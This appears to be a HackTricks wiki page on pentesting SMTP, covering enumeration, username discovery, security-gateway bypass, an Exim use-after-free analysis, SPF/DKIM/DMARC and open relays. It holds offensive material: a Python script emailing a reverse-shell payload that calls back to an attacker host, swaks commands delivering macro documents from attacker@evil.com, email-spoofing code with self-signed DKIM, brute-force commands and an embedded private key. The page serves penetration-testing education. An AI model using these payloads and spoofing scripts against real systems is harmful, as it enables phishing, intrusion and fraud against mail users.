--- title: "25, 465, 587 - Pentesting SMTP" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-smtp/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-smtp/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0" --- # 25, 465, 587 - Pentesting SMTP ## Basic information[[9]](#references)[[10]](#references) The **Simple Mail Transfer Protocol (SMTP)** transports email between mail systems and submits outgoing messages. Users normally retrieve or synchronize messages from a mailbox with **POP3 or IMAP** instead.[[9]](#references) Common mail transfer agents include Postfix, Exim, Sendmail, and Microsoft Exchange. Mail clients use SMTP for sending and POP3 or IMAP for mailbox access. **Default ports:** TCP/25 for server-to-server SMTP (often upgraded with STARTTLS), TCP/465 for message submission over implicit TLS, and TCP/587 for message submission (normally with STARTTLS).[[9]](#references)[[10]](#references) ```text PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ## Email Security Gateways (SEGs) As mentioned in this [blog post](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) **Secure Email Gateways (SEGs)** sit **in-line** with inbound mail flow by **changing MX records** to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes **all inbound mail reaches the SEG first**; if the mail server can be reached directly, the SEG can be **avoided** (similar to skipping a WAF by talking to the origin directly).[[5]](#references) ### Avoiding SEGs via MX mismatch Organizations using Entra ID / Exchange Online often have **multiple accepted domains**. If **any accepted domain** has an MX record that **points directly to the mail server** (e.g., Exchange Online) instead of the SEG, you can deliver mail to that domain and **avoid the SEG**. This is a **misconfiguration** (not a vulnerability) but still a common gap. Also note the default `.onmicrosoft.com` domain: its MX record always points to Exchange Online. If inbound to `*.onmicrosoft.com` is **not locked down**, sending to `user@.onmicrosoft.com` may land directly in the inbox while bypassing the SEG.[[5]](#references) **Defensive notes**: - Lock down inbound to `*.onmicrosoft.com`. - Regularly audit accepted domains and their MX routing. - Configure mail servers to **only accept** inbound from the SEG. ### Email headers If you can make the target send you an email (for example, through a website contact form), inspect its headers for information about the target's internal mail topology. You may also obtain a nondelivery report by sending a message to a nonexistent address. Use an allowed sender (check the SPF policy) and an address that can receive delivery-status notifications. Different message content may produce additional headers such as `X-Virus-Scanned: by av.domain.com`. When explicitly authorized, an EICAR test file can help identify the antivirus product and reveal whether known vulnerabilities apply. ## Basic actions ### Banner grabbing and basic connection **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Finding an organization's MX servers ```bash dig +short mx google.com ``` ### Enumeration ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Information disclosure If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).[[6]](#references) ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` ### Internal server name - Information disclosure Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: ```text 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Sniffing Check if you sniff some password from the packets to port 25 ### [Authentication brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#smtp) ## Username enumeration **Authentication is not always needed**[[3]](#references) ### RCPT TO ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello 18.28.38.48, pleased to meet you MAIL FROM:example@domain.com 250 2.1.0 example@domain.com... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello 18.28.38.48, pleased to meet you VRFY root 250 Super-User root@myhost VRFY blah 550 blah... User unknown ``` ### EXPN ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 ed.williams@myhost EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Automatic tools ```text Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` ## DSN Reports **Delivery Status Notification (DSN) reports:** If you send an email to an invalid address, the receiving organization may return a failure notification. Its headers can disclose sensitive information such as mail-service IP addresses and antivirus software details. ## [Commands](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-commands) ### Sending an Email from linux console ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` When attaching files with `swaks`, use the `@` prefix so the file bytes are embedded instead of the literal filename string. This is critical for delivering macro documents:[[4]](#references) ```bash swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5 ``` ### Sending an Email with Python
Python code ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 # create message object instance msg = MIMEMultipart() # setup the parameters of the message password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!" # payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("[*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()[0] != 250: print("[-]Connection Error") exit() server.starttls() # Uncomment if log-in with authencation # server.login(msg['From'], password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ```
## SMTP Smuggling SMTP smuggling vulnerabilities can bypass SMTP security controls by exploiting differences in how mail servers recognize message boundaries. For more information, see: [Smtp Smuggling](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-smuggling) ## Exim STARTTLS + BDAT callback desync (GnuTLS UAF) A useful **Exim-specific exploitation surface** is the interaction between **`STARTTLS`**, **`BDAT`/`CHUNKING`**, and the TLS backend when Exim is compiled against **GnuTLS**.[[1]](#references)[[2]](#references) The interesting technique is **not the CVE itself**, but the bug class: - A higher-level parser (**BDAT**) **pushes/wraps** the active `receive_*` callbacks and saves the old ones in a lower callback row. - The lower layer (**TLS**) is later **torn down** after `gnutls_record_recv() == 0` / TLS EOF. - Teardown restores only the **top-level** callbacks, but the **saved lower-layer callbacks remain stale**. - A later parser repair path still calls `ungetc()` through that stale row and writes into a **freed TLS buffer**. ### Why this matters for attackers This creates a very practical checklist when reviewing SMTP daemons and other protocol parsers: 1. **Look for modal parser stacking** (`DATA`/`BDAT`, compression, TLS, chunked reads, content filters). 2. **Check teardown symmetry**: if one layer pops or resets only the active callbacks/vtable, stale saved callbacks may still reference destroyed state. 3. **Audit repair paths** such as `ungetc()`, line-ending fixups, pushback buffers, or end-of-message normalization; these often become the actual write primitive after a lower layer dies. 4. **Check for fallback after close**: if a TLS/backend read error frees state and then falls back to plaintext I/O, the outer parser may keep running long enough to turn a lifetime bug into exploitation. ### Exim-specific shape In Exim's `BDAT` path, `bdat_push_receive_functions()` stores the current lower layer (`tls_getc`, `tls_getbuf`, `tls_ungetc`, etc.) and replaces the active row with BDAT wrappers. If a **TLS EOF** happens while the body is still being read, `tls_close()` frees the TLS plaintext transfer buffer but BDAT can still hold **stale lower-layer pointers** to `tls_*`. Later, end-of-data line-ending repair calls `bdat_ungetc('\n')` or `bdat_ungetc('\r')`, which can reach `tls_ungetc()` and perform a **1-byte write** into the **freed** TLS buffer.[[1]](#references) The primitive is constrained (newline or carriage return), but the offset is influenced by the TLS low-water mark. This is a classic [use-after-free](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/libc-heap/use-after-free/README.md) situation where even a single-byte post-free write may be enough to corrupt heap metadata or steer later heap reuse. ### Triage / hunting notes - During **`EHLO`**, check whether the server advertises **`STARTTLS`** and **`CHUNKING`** (`BDAT`). - Prioritize **Exim + GnuTLS** targets where **unauthenticated SMTP sessions** can reach `STARTTLS` and then send `BDAT`.[[1]](#references) - When studying exploitation potential, look for **post-free allocation windows** in mail-processing features (filters, DKIM, MIME parsing, AV hooks, canonicalization) that can **reclaim or shape** the freed chunk before the stale callback fires. - This bug family is a good reminder that **protocol state-machine bugs can expose heap primitives**, so SMTP review should include both protocol desync and memory-lifetime analysis. ## Mail Spoofing Countermeasures Organizations use **SPF**, **DKIM**, and **DMARC** to reduce unauthorized email sent on their behalf. A detailed guide to these countermeasures is available in [Demystifying DMARC](https://seanthegeek.net/459/demystifying-dmarc/).[[8]](#references) ### SPF[[11]](#references) > [!CAUTION] > The dedicated DNS SPF resource-record type was deprecated; SPF policies must be published as **TXT records** at the exact domain whose mail is being evaluated. Helper policies may still live at names such as `_spf.example.com` and be referenced with `include`, for example `"v=spf1 include:_spf.google.com ~all"`. **Sender Policy Framework** (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities **authorized to send email on behalf of a domain name**, includes various "**Mechanisms**" in the SPF record. #### Mechanisms From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mechanism | Description | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. | | A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match. | | IP4 | If the sender is in a given IPv4 address range, match. | | IP6 | If the sender is in a given IPv6 address range, match. | | MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers). | | PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible. | | EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries. | | INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used. | | REDIRECT |

A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.

It SPF policy of the domain indicated in the redirect Mechanism will be used.

| Each SPF mechanism may have a **qualifier** that determines the result when the mechanism matches. The default qualifier is `+` (PASS).\ An SPF policy commonly ends with `~all` or `-all`, producing SOFTFAIL or FAIL respectively when no earlier mechanism matches. #### Qualifiers Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result: - **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`. - **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy). - **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly. - **`-`**: Indicates FAIL, suggesting that the email should be outright rejected. In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy: ```text dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Mail from a domain without a valid SPF policy is more likely to be treated as untrusted, but receiver behavior varies and SPF alone does not prevent visible-header spoofing. To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail)[[12]](#references) DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name. For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. A command to fetch this information might look like: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance)[[13]](#references) DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions. Query the `_dmarc` subdomain to obtain the DMARC record: ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC tags | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | | v | Protocol version | v=DMARC1 | | pct | Percentage of messages subjected to filtering | pct=20 | | ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | | rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | | p | Policy for organizational domain | p=quarantine | | sp | Policy for subdomains of the OD | sp=reject | | adkim | Alignment mode for DKIM | adkim=s | | aspf | Alignment mode for SPF | aspf=r | ### Extra email hardening checks (HackTricks DNS/Domain auditor) The HackTricks Domain/DNS auditor now includes extra SMTP/email-control checks. Use this to manually validate findings and explain impact in reports. #### DMARC alignment hardening (`adkim`, `aspf`, `fo`) **What it checks** - Strict alignment (`adkim=s`, `aspf=s`) - Presence of forensic policy (`fo=...`) **How to check** ```bash dig _dmarc.example.com TXT +short ``` **Impact** - Relaxed alignment or missing forensic controls can reduce spoofing resistance and forensic visibility. **Attacker abuse** - Attackers can craft borderline-aligned campaigns that pass weaker DMARC configurations more often. #### MX STARTTLS transport security **What it checks** - Whether MXs advertise `STARTTLS` - Whether STARTTLS negotiation works and certificates validate **How to check** ```bash dig MX example.com +short openssl s_client -starttls smtp -connect mx1.example.com:25 -servername mx1.example.com ``` **Impact** - Missing/broken STARTTLS increases plaintext transport exposure and downgrade risk. **Attacker abuse** - Active network attackers can intercept/modify SMTP traffic more easily if STARTTLS is absent or misconfigured. #### MTA-STS policy consistency **What it checks** - `_mta-sts` TXT exists and policy file is reachable - Policy fields (`version`, `mode`, `max_age`) are valid - `mx:` patterns actually match active MX hosts **How to check** ```bash dig TXT _mta-sts.example.com +short curl -i https://mta-sts.example.com/.well-known/mta-sts.txt dig MX example.com +short ``` **Impact** - Broken or inconsistent policy gives a false sense of protection and weakens SMTP TLS enforcement. **Attacker abuse** - Downgrade/MITM opportunities increase when policy hosts or MX matching are misconfigured. #### TLS-RPT destination validation **What it checks** - `rua=` exists and uses valid `mailto:` or `https:` destinations - Basic reachability hints of report destinations **How to check** ```bash dig TXT _smtp._tls.example.com +short ``` **Impact** - Broken report sinks = no visibility into SMTP TLS failures. **Attacker abuse** - TLS downgrade and delivery issues can remain unnoticed longer. #### BIMI full validation (logo + VMC URL) **What it checks** - `l=` logo URL reachable and actually serves SVG content - `a=` VMC URL uses HTTPS and is reachable **How to check** ```bash dig TXT default._bimi.example.com +short curl -I https://logo.example.com/brand.svg curl -I https://example.com/vmc.pem ``` **Impact** - Brand-trust controls can silently fail, reducing anti-phishing posture in supporting clients. **Attacker abuse** - Poorly validated BIMI deployments can be leveraged in social engineering narratives around "trusted sender" expectations. #### Email service exposure / autodiscover over HTTP **What it checks** - Presence of common email service subdomains (`autodiscover`, `imap`, `pop`, `smtp`, `mail`, `webmail`) - Whether autodiscover endpoint is reachable over plaintext HTTP **How to check** ```bash for h in autodiscover imap pop smtp mail webmail; do dig +short ${h}.example.com A; done curl -i http://autodiscover.example.com/autodiscover/autodiscover.xml ``` **Impact** - Increases exposed attack surface and can enable weak-client/legacy downgrade paths. **Attacker abuse** - Autodiscover abuse and credential-harvest workflows become easier when plaintext or weak redirects are accepted. ### **What about Subdomains?** **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ You need to have separate SPF records for each subdomain you wish to send mail from.\ The following was originally posted on openspf.org, which used to be a great resource for this kind of thing. > The Demon Question: What about subdomains? > > If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain. > > So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record. > > Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: \* IN TXT "v=spf1 -all" This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition. ### Open relay[[7]](#references) When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a **relay server that is trusted by the recipient**. However, a common challenge is that administrators might not be fully aware of which **IP ranges are safe to allow**. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments. A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to **allow connections from any IP address**. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below: ```bash mynetworks = 0.0.0.0/0 ``` For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Tools** - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations** - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs** ### Send Spoof Email - [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) - [**http://www.anonymailer.net/**](http://www.anonymailer.net) - [**https://emkei.cz/**](https://emkei.cz/) **Or you could use a tool:** - [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] > If you get any **error using in the dkim python lib** parsing the key feel free to use this following one.\ > **NOTE**: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key **cannot be parsed by dkim**. > > ``` > -----BEGIN RSA PRIVATE KEY----- > MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt > spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO > pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB > AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 > koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR > fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq > 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j > ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc > GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf > 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI > Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do > zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP > K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== > -----END RSA PRIVATE KEY----- > ``` **Or you could do it manually:** ### PHP
# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
### Python ```python # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py import os import dkim #pip3 install dkimpy import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase # Set params destination="destination@gmail.com" sender="administrator@victim.com" subject="Test" message_html="""

This is a test, not a scam


""" sender_domain=sender.split("@")[1] # Prepare postfix os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") os.system("systemctl restart postfix") # Generate DKIM keys dkim_private_key_path="dkimprivatekey.pem" os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") with open(dkim_private_key_path) as fh: dkim_private_key = fh.read() # Generate email msg = MIMEMultipart("alternative") msg.attach(MIMEText(message_html, "html")) msg["To"] = destination msg["From"] = sender msg["Subject"] = subject headers = [b"To", b"From", b"Subject"] msg_data = msg.as_bytes() # Sign email with dkim ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) dkim_selector="s1" sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() msg_data = msg.as_bytes() # Use local postfix relay to send email smtp="127.0.0.1" s = smtplib.SMTP(smtp) s.sendmail(sender, [destination], msg_data) ``` ### **More info** **Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)[[8]](#references) ### **Other phishing indicators** - Domain’s age - Links pointing to IP addresses - Link manipulation techniques - Suspicious (uncommon) attachments - Broken email content - Values used that are different to those of the mail headers - Existence of a valid and trusted SSL certificate - Submission of the page to web content filtering sites ## Exfiltration through SMTP **If you can send data via SMTP** [**read this**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/exfiltration.md#smtp)**.** ## Config file ### Postfix When Postfix is installed, `/etc/postfix/master.cf` may define **scripts to execute** as part of mail handling. For example, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` runs `/etc/postfix/filtering` when a new message is received for user `mark`. Other config files: ```text sendmail.cf submit.cf ``` ## HackTricks Automatic Commands ```text Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` ## References - [1] [XBOW – Dead.Letter (CVE-2026-45185): How XBOW Found an Unauthenticated RCE on Exim](https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim) - [2] [RFC 3030 – SMTP Service Extensions for Transmission of Large and Binary MIME Messages](https://datatracker.ietf.org/doc/html/rfc3030) - [3] [Username Enumeration Techniques and their Value](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) - [4] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html) - [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) - [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666) - [7] [Postfix – SMTP relay and access control](https://www.postfix.org/SMTPD_ACCESS_README.html) - [8] [seanthegeek.net - 459 - Demystifying Dmarc](https://seanthegeek.net/459/demystifying-dmarc) - [9] [RFC 5321 – Simple Mail Transfer Protocol](https://www.rfc-editor.org/rfc/rfc5321) - [10] [RFC 8314 – Cleartext Considered Obsolete: Use of TLS for Email Submission and Access](https://www.rfc-editor.org/rfc/rfc8314) - [11] [RFC 7208 – Sender Policy Framework (SPF)](https://www.rfc-editor.org/rfc/rfc7208) - [12] [RFC 